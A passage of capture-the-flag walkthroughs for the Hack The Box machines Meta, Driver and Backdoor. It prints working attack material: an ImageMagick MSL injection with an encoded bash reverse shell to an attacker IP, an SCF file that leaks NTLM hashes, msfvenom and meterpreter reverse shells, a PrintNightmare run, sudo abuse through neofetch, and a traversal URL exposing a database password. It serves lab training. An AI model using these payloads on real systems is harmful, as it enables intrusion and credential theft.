Let's change this slightly so that the `0wned` file gets placed in a known location:

```xml
<image authenticate='ff" `echo $(id)> /tmp/0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

Let's create a file called `poc.svg` with this text using `nano` (or any text editor). Now, we can upload this image to `/var/www/dev01.artcorp.htb/convert_images/` with `pwncat`'s `upload` command. Now, we just need to wait at most a minute for the cron job to run. For whatever reason, this does not work. However, changing the directory where the file is written to `/dev/shm/` causes the file to be written. We can find world writeable directories with `find / -maxdepth 3 -type d -perm -777`. So, the working exploit is:

```xml
<image authenticate='ff" `echo $(id)> /dev/shm/0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

This creates the file `/dev/shm/0wned` (once the cron job runs() with the following output: `uid=1000(thomas) gid=1000(thomas) groups=1000(thomas),27(sudo)`. So, we have command execution. We can set the command to a reverse shell such as `bash -i >& /dev/tcp/10.10.14.169/37580 0>&1` and start a listener on port `37580` (`pwncat-cs -lp 37580`).

We upload this svg to `/var/www/dev01.artcorp.htb/convert_images`:

```xml
<image authenticate='ff" `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvMzc1ODAgMD4mMQ== | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

Sure enough, after waiting about 20 seconds, we get a reverse shell as thomas.

We can now get the `user.txt` flag with `cat ~/user.txt`.

## Privilege Escalation

First, we can get persistance using `pwncat` by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in the local shell. I set the permissions of the `.ssh` folder to be what they should be with `cd && chmod 700 .ssh && chmod 600 .ssh/authorized_keys`. Now we can connect with `pwncat-cs thomas@artcorp.htb --identity /home/kali/.ssh/id_rsa` over SSH.

Looking at `/tmp` when logged in as `thomas` shows different files than when logged in as `www-data`, which is why writing the file to `/tmp` didn't working during the lateral movement phase. Apparently, each user has their own `/tmp` directory.

We run `sudo -l` to see what we can do as the `root` user since we saw that the user `thomas` was in the `sudo` group earlier (or just run `groups`).

`sudo -l` outputs:

```
User thomas may run the following commands on meta:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/neofetch \"\"
```

So, we can run the `neofetch` command as `root`. When we ran `pspy` earlier I noticed something involving `neofetch` run so this is not a surprise. Additionally, there is a `/home/thomas/neofetch/config.conf` file with a lot of options. However, the actual `neofetch` configuration file is located at `/home/thomas/.config/neofetch/config.conf`.

`neofetch` is listed on [GTFOBins](https://gtfobins.github.io/gtfobins/neofetch/). However, trying to run `sudo neofetch --ascii /root/root.txt` to get the `root.txt` flag asks for `thomas`'s password, which we don't have. So, we can't specify options on the `neofetch` binary.

Checking `pspy` again we see that `/bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf` is executed as `root` about every minute. So the config file is overwritten every minute or so.

We can edit the `neofetch` config file at `/home/thomas/.config/neofetch/config.conf` and add `prin "Test" "$(echo test)"` under the `print_info()` function heading. Running `neofetch` again will show `Test: test` in the output. Thus, we have command execution, but running `sudo neofetch` runs `neofetch` as `root` which means it won't use the configuration file located `/home/thomas/.config`.

According to the [documentation for `neofetch`](https://github.com/dylanaraps/neofetch/wiki/Customizing-Info#config-file-location), "the per-user location for neofetch's config is `${HOME}/.config/neofetch/config.conf`"

Searching for "change linux hidden directory config location" finds [this linux StackExchange answer](https://unix.stackexchange.com/a/33945), which mentions the [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html) and [this StackOverflow answer](https://stackoverflow.com/a/1024339). According to the StackOverflow answer, we can set the `XDG_CONFIG_HOME` environment variable to where user-specific configuration files are stored, which defaults to `"$HOME/.config"`.

So, we run `export XDG_CONFIG_HOME=/home/thomas/.config` to set the the `XDG_CONFIG_HOME` to `thomas`'s home directory explicitly instead `"$HOME/.config"`. Now, we `nano /home/thomas/.config/neofetch/config.conf` and add `prin "Test" "$(cat /root/root.txt)"` under the `print_info()` function heading. Now, when we run `sudo neofetch`, we see `Test: [/root/root.txt]` here.

We could now get a `root` shell using a reverse shell instead of `cat /root/root.txt` in the `neofetch` configuration file or we could copy `root`'s private ssh key.


# Driver

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.106 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.106`.

```
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-02-19T11:40:18
|_  start_date: 2022-02-19T05:20:32
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
```

### Port `80`

Going to the website on port 80 gives an HTTP authentication dialogue box. Using the credentials `admin:admin` to sign in works. There is a `fw_up.php` page where we can upload firmware, but there doesn't seem to be an accessible location where those files get uploaded to.

A directory bruteforce scan reveals nothing: `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.106/FUZZ`.

### Port `5985` (WinRM)

According to [HackTricks](https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm), "Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP... If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!)"

Under the [WinRM connection in linux](https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm#winrm-connection-in-linux) heading, HackTricks mentions using [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm). We need to have access credentials to use this protocol.

### Port `135` (Samba)

This leaves one port, `135`, which is for samba. According to [Wikipedia](https://en.wikipedia.org/wiki/Server_Message_Block), "Server Message Block (SMB) is a communication protocol that Microsoft created for providing shared access to files and printers across nodes on a network." Since the other two ports look like dead ends for now, we must be able to find something here. Maybe the files are being uploaded to the samba share, which would mean we have write access to that share without authentication details.

Under this assumption, searching online for "smb unauthenticated write access exploit" reveals [this post about SCF file attacks on SMB](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/). Apparently, if SMB "is configured with write permissions for unauthenticated users then it is possible to obtain passwords hashes of domain users or Meterpreter shells."

On the [HackTricks post about WinRM](https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm#pass-the-hash-with-evil-winrm) there is a subheading called "Pass the hash with evil-winrm." So, if we can get a hash with an SCF attack we can pass the hash and get a user shell with `evil-winrm`.

Searching for "SMB SCF file exploit" shows these additional results: [sql--injection.blogspot.com](https://sql--injection.blogspot.com/p/smb.html) and [1337red.wordpress.com](https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/).

Essentially, an SCF file is used to control Windows Explorer. So, when a user browses to a folder containing an SCF file, Windows will use the contents of that file. We can create an SCF file like this:

```
[Shell]
Command=2
IconFile=\\X.X.X.X\share\test.ico
[Taskbar]
Command=ToggleDesktop
```

We can set `X.X.X.X` to our attacker's ip address. Since the `IconFile` field is set to a UNC path, Windows will request the icon from the attacker and try authenticating with the user's credentials, then the attack will issue a challenge request, finally Windows will return a challenge response with the NTLM hash.

## Foothold

First, we start [`responder`](https://www.kali.org/tools/responder/) with `sudo responder -w --lm -v -I tun0`.

Then, we upload the following SCF file using the firmware upload page (`fw_up.php`) on port 80.

```
[Shell]
Command=2
IconFile=\\10.10.14.32\share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Responder outputs the following:

```
[SMB] NTLMv2 Client   : ::ffff:10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:566dd632a8e52118:AA64BDEA4F87F24A42C8CDFA48DF7780:0101000000000000FA685E0C8F25D801E8816037B7647BED00000000020000000000000000000000
```

We have our NTLM hash!

### Cracking the NTLM Hash

We can crack this hash with `hashcat`. We first find the `hashcat` mode needed for NTLMv2 hashes with `hashcat --help | grep NTLMv2`, which shows us the correct mode is `5600`.

So, we paste the hash into a file called `hash` and then run `hashcat` with `hashcat -a 0 -m 5600 hash rockyou.txt`:

```
TONY::DRIVER:566dd632a8e52118:aa64bdea4f87f24a42c8cdfa48df7780:0101000000000000fa685e0c8f25d801e8816037b7647bed00000000020000000000000000000000:liltony
```

The password is `liltony`.

### Evil WinRM

According to [HackTricks](https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm#using-evil-winrm), we can use `evil-winrm` like so: `evil-winrm -u <username> -p <password> -i <IP>`. Let's connect with the `tony` user like so: `evil-winrm -u tony -p liltony -i 10.10.11.106`.

We get a shell on the machine! Now, we can get the `user.txt` flag with `cat ..\Desktop\user.txt`.

## Privilege Escalation

Let's upload [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) to scan for ways to gain privileges. Since we are using `evil-winrm` we can simply run the `upload` command: `upload /home/kali/Downloads/winPEASx64.exe`. We can run it with `.\winPEASx64.exe`. This doesn't give any easy wins.

To get a metasploit shell run the following on the attacker:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f exe > e.exe
sudo msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
options
run
```

Then, through `evil-winrm` on the target run: `upload e.exe` and then `.\e.exe`.

Then, back in the meterpreter, run `background` to get mack the the `msf` console. Then run `use post/multi/recon/local_exploit_suggester` and set the session with `set session 1` then `run` to get a list of possible exploits. This reveals nothing.

So, the actual exploit that should be used is `CVE-2021-1675`/`CVE-2021-34527`, or PrintNightmare. After enough searching one may find this exploit because the `spoolsv` service is running as shown in WinPEAS's "Current TCP Listening Ports" output (and when simply running `ps`):

```
Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
TCP        0.0.0.0               135           0.0.0.0               0               Listening         708             svchost
TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
TCP        0.0.0.0               49408         0.0.0.0               0               Listening         464             wininit
TCP        0.0.0.0               49409         0.0.0.0               0               Listening         868             svchost
TCP        0.0.0.0               49410         0.0.0.0               0               Listening         844             svchost
TCP        0.0.0.0               49411         0.0.0.0               0               Listening         1176            spoolsv
TCP        0.0.0.0               49412         0.0.0.0               0               Listening         572             services
TCP        0.0.0.0               49413         0.0.0.0               0               Listening         580             lsass
TCP        10.10.11.106          139           0.0.0.0               0               Listening         4               System
TCP        10.10.11.106          445           10.10.14.78           36684           Established       4               System
TCP        10.10.11.106          5985          10.10.14.32           59202           Time Wait         0               Idle
TCP        10.10.11.106          5985          10.10.14.32           59204           Established       4               System
```

[0xdf's article "Playing with PrintNightmare"](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html) is a great tutorial on how to exploit this vulnerability. [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675), a PowerShell script developed by Caleb Stewart and John Hammond, is the most simple to use PrintNightmare exploit.

We can [download the exploit](https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1) to our attacker machine with `wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1` and then upload it to the target with our `evil-winrm` connection by running `upload CVE-2021-1675.ps1`. Then, run `set-ExecutionPolicy RemoteSigned -Scope CurrentUser` so you don't get the "execution of scripts is disabled on this system" error message ([StackOverflow answer where command was found](https://stackoverflow.com/a/4038991)). Now, we can launch the exploit:

```
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -NewUser "john" -NewPassword "SuperSecure"
```

Originally, I saw the `[!] failed to get current driver list` error message, but after resetting the box it worked:

```
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
```

Now, all we have to do is connect with `evil-winrm` as our newly created administrator `john` user: `evil-winrm -u john -p SuperSecure -i 10.10.11.106`. We can get the `root.txt` flag with `cat C:\Users\Administrator\Desktop\root.txt`.


# Backdoor

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.125 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.125`.

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor &#8211; Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap tells us that "WordPress 5.8.1" is running on port `80`. So, we can scan that with `wpscan`.

### Wordpress (port `80`)

Let's run `wpscan` with `wpscan --url http://10.10.11.125/ --plugins-detection aggressive`. We specify `--plugins-detection aggressive` in order to detect any installed plugins since without plugins will not be detected.

```
[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.11.125/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.11.125/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://10.10.11.125/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.11.125/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.11.125/index.php/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
 |  - http://10.10.11.125/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
 |
 | [!] 5 vulnerabilities identified:
 |
 | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
 |     Fixed in: 5.8.2
 |     References:
 |      - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
 |      - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/ticket/54207
 |
 | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
 |     Fixed in: 5.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
 |      - https://hackerone.com/reports/1378209
 |
 | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
 |     Fixed in: 5.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
 |      - https://hackerone.com/reports/425342
 |      - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
 |
 | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
 |     Fixed in: 5.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
 |
 | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
 |     Fixed in: 5.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
 |      - https://hackerone.com/reports/541469

[+] WordPress theme in use: twentyseventeen
 | Location: http://10.10.11.125/wp-content/themes/twentyseventeen/
 | Last Updated: 2022-01-25T00:00:00.000Z
 | Readme: http://10.10.11.125/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.9
 | Style URL: http://10.10.11.125/wp-content/themes/twentyseventeen/style.css?ver=20201208
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.11.125/wp-content/themes/twentyseventeen/style.css?ver=20201208, Match: 'Version: 2.8'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:07:17 <============================================================================> (96954 / 96954) 100.00% Time: 00:07:17
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.11.125/wp-content/plugins/akismet/
 | Latest Version: 4.2.2
 | Last Updated: 2022-01-24T16:11:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |
 | The version could not be determined.

[+] ebook-download
 | Location: http://10.10.11.125/wp-content/plugins/ebook-download/
 | Last Updated: 2020-03-12T12:52:00.000Z
 | Readme: http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/ebook-download/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Ebook Download < 1.2 - Directory Traversal
 |     Fixed in: 1.2
 |     References:
 |      - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10924
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=================================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 21

[+] Finished: Sun Feb 20 21:39:58 2022
[+] Requests Done: 97105
[+] Cached Requests: 41
[+] Data Sent: 26.051 MB
[+] Data Received: 12.991 MB
[+] Memory used: 373.93 MB
[+] Elapsed time: 00:07:30
```

The SQL injection vulnerabilities seem interesting, but the `ebook-download` looks really promising since it was specifically installed on this Wordpress instance while the other vulnerabilities are just due to a slightly old Wordpress version. Going to the [wpscan link for this vulnerability](https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c) tells us that it is `CVE-2016-10924`. Looking on the [plugin's official page](https://wordpress.org/plugins/ebook-download/#developers) we can see that this exploit was fixed in version 1.2. Luckily, according to the `http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt` this site is using version 1.1.

Searching for the actual CVE doesn't find anything that tells us how to exploit it. Searching for "wordpress ebook download 1.1 exploit" brings us to [this exploit-db page](https://www.exploit-db.com/exploits/39575). The proof of concept exploit is `/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php`. Sur enough, going to `http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php` lets us download the `wp-config.php` file:

```php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */

/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/* THIS IS CUSTOM CODE CREATED AT ZEROFRACTAL TO MAKE SITE ACCESS DYNAMIC */
$currenthost = "http://".$_SERVER['HTTP_HOST'];
$currentpath = preg_replace('@/+$@','',dirname($_SERVER['SCRIPT_NAME']));
$currentpath = preg_replace('/\/wp.+/','',$currentpath);
define('WP_HOME',$currenthost.$currentpath);
define('WP_SITEURL',$currenthost.$currentpath);
define('WP_CONTENT_URL', $currenthost.$currentpath.'/wp-content');
define('WP_PLUGIN_URL', $currenthost.$currentpath.'/wp-content/plugins');
define('DOMAIN_CURRENT_SITE', $currenthost.$currentpath );
@define('ADMIN_COOKIE_PATH', './');

define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```

The mysql database password is in plain text in the configuration, so we now know that: `MQYBJSaD#DxG6qbm`.

### What is running on port `1337`?

I'm assuming that whatever is running on port `1337` is the exploit path since there is nothing else obvious with Wordpress. So, we need to use the path traversal exploit we found to figure out the process on that port.

Searching online for "what is running on this port" finds [this article](https://www.cyberciti.biz/faq/what-process-has-open-linux-port/), which mentions using the `/proc/$pid/` file system to figure out what is running on a certain port: "Under Linux `/proc` includes a directory for each running process (including kernel processes) at `/proc/PID`, containing information about that process, notably including the processes name that opened port."

Reading about [the `proc` filesystem on kernel.org](https://www.kernel.org/doc/html/latest/filesystems/proc.html) shows that there is a `cmdline` file within each process's folder containing command line arguments. So, if we can figure out the process id of what is running on port `1337` we can get the command that was used to start it, which will show us what program is running on that port. We can brute force this using Python: [get\_process\_id.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Backdoor/get_process_id.py). I determined the number of `../`'s needed by adding them one by one until I was able to download `/etc/passwd`: `http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd`. In the script we only print output that includes `1337` because the command probably had the port in it. This means all the other processes will be silently ignored.

Running the [get\_process\_id.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Backdoor/get_process_id.py) script we find that process id `854` is running `gdbserver`. The complete output from `curl "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/854/cmdline" --output -`: is `../../../../../../proc/854/cmdline../../../../../../proc/854/cmdline../../../../../../proc/854/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done<script>window.close()</script>`.

## Foothold

We will exploit `gdbserver` running on port `1337`. We download the literal `gdbserver` binary from the target with `curl "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../usr/bin/gdbserver" --output downloaded_gdbserver`. Now, we can use `strings` and `grep` to find the actual version string in the binary: `strings downloaded_gdbserver | grep version -A 1`. This will match about 12 lines and show that the version is `Ubuntu 9.2-0ubuntu1~20.04`. So, the target is running `gdbserver` version 9.2.

Let's see if there are any easy exploits for this version using `searchsploit gdbserver 9.2`:

```
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
GNU gdbserver 9.2 - Remote Command Execution (RCE)    | linux/remote/50539.py
------------------------------------------------------ ---------------------------------
```

We can copy the exploit to our home directory with `searchsploit -m 50539.py`.

Running `python3 50539.py --help` displays a helpful usage message that walks us through the entire process:

```
Usage: python3 50539.py <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver   ->  10.10.10.200:1337
- Attacker's listener  ->  10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 50539.py 10.10.10.200:1337 rev.bin
```

